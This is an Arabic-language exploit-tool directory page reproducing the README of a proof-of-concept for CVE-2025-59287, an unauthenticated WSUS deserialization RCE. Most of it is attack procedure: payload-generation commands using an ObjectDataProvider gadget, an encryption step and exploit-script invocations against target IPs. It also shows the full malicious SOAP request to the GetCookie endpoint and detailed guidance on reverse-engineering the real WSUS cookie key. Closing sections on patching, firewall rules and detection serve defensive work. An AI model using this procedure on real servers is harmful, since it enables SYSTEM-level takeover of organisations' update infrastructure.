Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2025-59287-exploit-poc — إثبات مفهوم لاستغلال CVE-2025-59287، وهو ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) حرجة غير مصادق عليها في WSUS عبر إلغاء تسلسل غير آمن لـ BinaryFormatter، مما يحقق صلاحيات SYSTEM من خلال ملفات تعريف ارتباط مشفرة مصممة خصيصًا. | Kitploit
أدوات/GitHubGitHub/maxymgorn/cve-2025-59287-exploit-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubmaxymgorn/cve-2025-59287-exploit-poc

cve-2025-59287-exploit-poc

إثبات مفهوم لاستغلال CVE-2025-59287، وهو ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) حرجة غير مصادق عليها في WSUS عبر إلغاء تسلسل غير آمن لـ BinaryFormatter، مما يحقق صلاحيات SYSTEM من خلال ملفات تعريف ارتباط مشفرة مصممة خصيصًا.

عرض المستودع
1منذ 9 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال إثبات المفهوم CVE-2025-59287

نظرة عامة على الثغرة

CVE-2025-59287 هي ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد (RCE) في خدمة تحديث خوادم ويندوز (WSUS) من مايكروسوفت. تنتج الثغرة عن إلغاء تسلسل غير آمن لبيانات AuthorizationCookie عبر BinaryFormatter في طريقة EncryptionHelper.DecryptData().

التأثير: يمكن للمهاجمين غير المصادق عليهم تحقيق تنفيذ تعليمات برمجية عن بُعد بصلاحيات SYSTEM عن طريق إرسال ملفات تعريف ارتباط مشفرة خبيثة إلى نقطة نهاية GetCookie().

درجة CVSS: حرجة (9.8)

تفاصيل الثغرة

  • المكوّن المتأثر: نقطة نهاية WSUS ClientWebService.asmx GetCookie()
  • السبب الجذري: استدعاء BinaryFormatter.Deserialize() على مدخلات غير موثوقة دون تحقق مناسب
  • : ملف تعريف ارتباط مشفر خبيث يُرسل إلى نقطة نهاية SOAP الخاصة بـ GetCookie()
ناقل الهجوم
  • المصادقة المطلوبة: لا (RCE بدون مصادقة)
  • المنافذ المتأثرة: 8530 (HTTP)، 8531 (HTTPS)
  • البنية

    root@kitploit:~
    ┌─────────────────┐
    │   المهاجم       │
    │                 │
    │  1. توليد       │
    │     حمولة       │
    │     BinaryFmt   │
    │                 │
    │  2. تشفير       │
    │     الحمولة     │
    │                 │
    │  3. إرسال طلب   │
    │     SOAP        │
    └────────┬────────┘
             │
             ▼
    ┌─────────────────┐
    │   خادم WSUS     │
    │                 │
    │  نقطة نهاية     │
    │  GetCookie()    │
    │                 │
    │  DecryptData()  │◄─── ثغرة
    │                 │
    │  BinaryFormatter│◄─── إلغاء تسلسل غير آمن
    │  Deserialize()  │
    │                 │
    │  تنفيذ          │◄─── RCE بصلاحيات SYSTEM
    │  الحمولة        │
    └─────────────────┘
    

    هيكل الملفات

    root@kitploit:~
    exploit-poc/
    ├── wsus_exploit.py                    # سكربت الاستغلال الرئيسي
    ├── BinaryFormatterPayloadGenerator.cs # مولّد الحمولة .NET (C#)
    ├── encrypt_payload.py                 # أداة تشفير WSUS المساعدة
    ├── requirements.txt                   # تبعيات بايثون
    └── README.md                          # هذا الملف
    

    المتطلبات الأساسية

    بيئة بايثون

    root@kitploit:~
    pip install -r requirements.txt
    

    .NET Framework (لتوليد الحمولة)

    • ويندوز مع .NET Framework 4.0 أو أحدث
    • أو استخدام ysoserial.net كبديل

    الاستخدام

    الطريقة 1: سير العمل الكامل

    الخطوة 1: توليد حمولة BinaryFormatter

    الخيار أ: باستخدام مولّد C# المرفق

    root@kitploit:~
    # ترجمة المولّد
    csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
    
    # توليد الحمولة
    BinaryFormatterPayloadGenerator.exe calc.exe
    # يُنشئ: payload_YYYYMMDDHHMMSS.bin
    

    الخيار ب: باستخدام ysoserial.net (موصى به)

    root@kitploit:~
    ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
    

    الخطوة 2: تشفير الحمولة

    root@kitploit:~
    python encrypt_payload.py payload.bin -o encrypted_cookie.txt
    

    مهم: مفتاح التشفير في encrypt_payload.py هو عنصر نائب. للاستغلال الفعلي، يجب عليك:

    1. هندسة عكسية لمفتاح التشفير الفعلي من ملفات WSUS الثنائية
    2. تحديث encrypt_payload.py بالمفتاح الحقيقي
    3. راجع قسم "العثور على مفتاح تشفير WSUS" أدناه

    الخطوة 3: تنفيذ الاستغلال

    root@kitploit:~
    # باستخدام ملف الحمولة (سيتم التشفير أثناء التنفيذ)
    python wsus_exploit.py -t 192.168.1.100 -f payload.bin
    
    # باستخدام ملف تعريف ارتباط مشفر مسبقًا
    python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
    
    # مع HTTPS (المنفذ 8531)
    python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
    

    الطريقة 2: اختبار سريع

    root@kitploit:~
    # توليد وتشفير واستغلال في خطوة واحدة
    BinaryFormatterPayloadGenerator.exe calc.exe
    python wsus_exploit.py -t <TARGET_IP> -f payload_*.bin
    

    العثور على مفتاح تشفير WSUS الفعلي

    يجب استخراج مفتاح التشفير من ملفات WSUS الثنائية للاستغلال الفعلي.

    الطريقة 1: الهندسة العكسية باستخدام dnSpy

    1. تحديد موقع ملفات WSUS DLL:

      root@kitploit:~
      %ProgramFiles%\Update Services\WebServices\bin\
      

      أو دليل ويب IIS:

      root@kitploit:~
      %SystemDrive%\inetpub\wwwroot\wsusadmin\
      
    2. الفتح في dnSpy (مفكك .NET مجاني):

      • التحميل: https://github.com/dnSpy/dnSpy
      • فتح Microsoft.UpdateServices.WebServices.dll
    3. البحث عن EncryptionHelper:

      • الانتقال إلى: مساحة أسماء Microsoft.UpdateServices.WebServices
      • العثور على فئة EncryptionHelper
      • الاطلاع على طريقتي DecryptData() و EncryptData()
      • استخراج مفتاح التشفير والخوارزمية
    4. الأنماط الشائعة:

      • مصفوفات بايت مكتوبة بشكل ثابت
      • ثوابت نصية
      • اشتقاق المفتاح من GUID/SID للجهاز

    الطريقة 2: التحليل أثناء التشغيل

    1. استخدام WinDbg أو x64dbg:

      • تعيين نقطة توقف على EncryptionHelper.DecryptData()
      • فحص الذاكرة/السجلات لمواد المفتاح
      • مراقبة عمليات التشفير/فك التشفير
    2. استخدام Process Monitor:

      • التصفية حسب عملية WSUS
      • البحث عن الوصول إلى السجل/ملفات التكوين
      • قد تكون المفاتيح مخزنة في السجل

    الطريقة 3: التحليل الثابت

    1. استخدام IDA Pro أو Ghidra:

      • تحميل ملفات WSUS الثنائية
      • البحث عن سلاسل متعلقة بالتشفير
      • تحليل خوارزميات اشتقاق المفاتيح
    2. استخدام أداة strings:

      root@kitploit:~
      strings Microsoft.UpdateServices.WebServices.dll | grep -i key
      strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
      

    تحديث الاستغلال

    بمجرد حصولك على المفتاح الفعلي، قم بتحديث encrypt_payload.py:

    root@kitploit:~
    # استبدل هذا السطر في encrypt_wsus_cookie():
    key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # عنصر نائب
    
    # بالمفتاح الفعلي:
    key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"
    

    أو مرره عبر سطر الأوامر:

    root@kitploit:~
    python encrypt_payload.py payload.bin -k "ACTUAL_KEY"
    

    تدفق الاستغلال

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────────┐
    │ 1. توليد حمولة BinaryFormatter                               │
    │    ObjectDataProvider → Process.Start() → تنفيذ الأوامر      │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 2. تشفير الحمولة                                             │
    │    AES-128-CBC مع مفتاح تشفير WSUS                          │
    │    ترميز Base64 للإرسال                                      │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 3. إنشاء طلب SOAP                                            │
    │    رأس AuthorizationCookie يحتوي على الحمولة المشفرة         │
    │    طريقة GetCookie() في جسم SOAP                             │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 4. الإرسال إلى نقطة نهاية WSUS                               │
    │    POST /ClientWebService/ClientWebService.asmx              │
    │    المنفذ 8530 (HTTP) أو 8531 (HTTPS)                        │
    └───────────────────────┬─────────────────────────────────────┘
                            ▼
    ┌─────────────────────────────────────────────────────────────┐
    │ 5. معالجة WSUS                                               │
    │    DecryptData() يفك تشفير ملف تعريف الارتباط                │
    │    BinaryFormatter.Deserialize() ينفذ الحمولة                │
    │    → RCE بصلاحيات SYSTEM                                     │
    └─────────────────────────────────────────────────────────────┘
    

    هيكل طلب SOAP

    root@kitploit:~
    POST /ClientWebService/ClientWebService.asmx HTTP/1.1
    Host: <TARGET>:8530
    Content-Type: text/xml; charset=utf-8
    SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
    User-Agent: WSUS Client
    
    <?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Header>
            <AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
                BASE64_ENCRYPTED_BINARYFORMATTER_PAYLOAD
            </AuthorizationCookie>
        </soap:Header>
        <soap:Body>
            <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
                <cookieType>AuthorizationCookie</cookieType>
            </GetCookie>
        </soap:Body>
    </soap:Envelope>
    

    تفاصيل توليد الحمولة

    يستخدم الاستغلال سلسلة أدوات ObjectDataProvider:

    root@kitploit:~
    ObjectDataProvider provider = new ObjectDataProvider();
    provider.ObjectInstance = new Process();
    provider.MethodName = "Start";
    provider.MethodParameters = new Collection<object> { processStartInfo };
    

    عندما يعالج BinaryFormatter.Deserialize() هذا، يقوم تلقائيًا بما يلي:

    1. إلغاء تسلسل ObjectDataProvider
    2. استدعاء MethodName ("Start") على ObjectInstance (Process)
    3. تمرير MethodParameters (ProcessStartInfo)
    4. تنفيذ الأمر بصلاحيات SYSTEM

    قائمة الاختبار

    • توليد حمولة BinaryFormatter
    • استخراج/تحديد مفتاح تشفير WSUS
    • تشفير الحمولة بالمفتاح الصحيح
    • التحقق من إمكانية الوصول إلى نقطة نهاية WSUS
    • إرسال طلب SOAP مع ملف تعريف ارتباط خبيث
    • التحقق من تنفيذ الأوامر على الهدف
    • الاختبار في بيئة معملية معزولة

    القيود

    1. مفتاح التشفير: المفتاح العنصر النائب لن يعمل على الأنظمة الحقيقية. يجب استخراج المفتاح الفعلي.
    2. حمولة BinaryFormatter: تتطلب .NET Framework أو ysoserial.net للتوليد.
    3. الوصول إلى الشبكة: يجب أن يكون لديك وصول شبكي إلى نقطة نهاية WSUS (المنفذان 8530/8531).
    4. إصدار WSUS: قد يختلف السلوك عبر إصدارات WSUS.

    التخفيف

    إجراءات فورية

    1. تطبيق تحديث الأمان من مايكروسوفت: التصحيح فورًا

      • تحقق من نشرة الأمان من مايكروسوفت
      • تحديث WSUS إلى الإصدار المُصحح
    2. حل مؤقت: حظر المنافذ إذا لم تكن WSUS مطلوبة

      root@kitploit:~
      # حظر حركة المرور الواردة على منافذ WSUS
      New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
      
    3. تقسيم الشبكة: تقييد الوصول إلى نقاط نهاية WSUS

      • السماح بالوصول فقط من خوادم التحديث المعتمدة
      • استخدام قواعد جدار الحماية لتقييد عناوين IP المصدر

    إصلاحات طويلة الأجل

    1. استبدال BinaryFormatter: يجب على مايكروسوفت استبداله بتسلسل آمن

      • استخدام System.Text.Json أو System.Xml.Serialization مع التحقق من الأنواع
      • تنفيذ قائمة سماح صارمة للأنواع
    2. التحقق من المدخلات: إضافة تحقق شامل

      • التحقق من جميع بيانات ملفات تعريف الارتباط قبل إلغاء التسلسل
      • رفض الأنواع/المخططات غير المتوقعة
    3. مبدأ الامتيازات الأقل: تشغيل خدمات WSUS بأقل الامتيازات

      • عدم التشغيل بصلاحيات SYSTEM إذا أمكن
      • استخدام حسابات خدمة بصلاحيات محدودة

    الكشف

    مؤشرات الاختراق (IoC)

    • حركة مرور شبكة غير عادية إلى المنفذين 8530/8531
    • طلبات SOAP مع رؤوس AuthorizationCookie مشفرة بـ Base64
    • تنفيذ عمليات غير متوقعة من سياق خدمة WSUS
    • استثناءات إلغاء تسلسل BinaryFormatter في سجلات WSUS

    تحليل السجلات

    تحقق من سجلات WSUS بحثًا عن:

    root@kitploit:~
    %ProgramFiles%\Update Services\LogFiles\
    

    ابحث عن:

    • أخطاء طلبات SOAP
    • استثناءات إلغاء التسلسل
    • محاولات وصول غير مصرح بها

    مراقبة الشبكة

    راقب بحثًا عن:

    • طلبات SOAP إلى /ClientWebService/ClientWebService.asmx
    • حمولات Base64 كبيرة في رؤوس AuthorizationCookie
    • تنفيذ أوامر غير عادي من خدمة WSUS

    إشعار قانوني

    ⚠️ تحذير: كود الاستغلال هذا مقدم لاختبارات الأمان المصرح بها فقط.

    • ✅ الاستخدامات القانونية:

      • اختبار أنظمتك الخاصة
      • اختبار الاختراق المصرح به
      • البحث الأمني بإذن
      • الأغراض التعليمية في بيئات خاضعة للتحكم
    • ❌ الاستخدامات غير القانونية:

      • الوصول غير المصرح به إلى الأنظمة
      • الهجمات الخبيثة
      • انتهاك قوانين الاحتيال الحاسوبي
      • أي استخدام دون إذن صريح

    قد يؤدي الاستخدام غير المصرح به لهذا الاستغلال إلى ملاحقة جنائية. استخدمه بمسؤولية وأخلاقية.

    المراجع

    • CVE-2025-59287: إدخال CVE الرسمي
    • نشرة الأمان من مايكروسوفت: تحقق من التصحيح الرسمي والإرشادات
    • دليل أمان BinaryFormatter: https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide
    • ysoserial.net: https://github.com/pwntester/ysoserial.net

    الاعتمادات

    • تم اكتشاف الثغرة بواسطة باحثين أمنيين
    • تم تطوير إثبات المفهوم للأغراض التعليمية والاختبار المصرح به

    سجل الإصدارات

    • v1.0: الإصدار الأولي لإثبات المفهوم
      • سكربت الاستغلال الرئيسي
      • مولّد الحمولة .NET
      • أداة التشفير المساعدة
      • التوثيق

    تذكر: اختبر دائمًا في بيئات معزولة وخاضعة للتحكم. لا تستخدم أبدًا ضد أنظمة لا تملكها أو لا تملك إذنًا صريحًا لاختبارها.

    تنزيل الأداة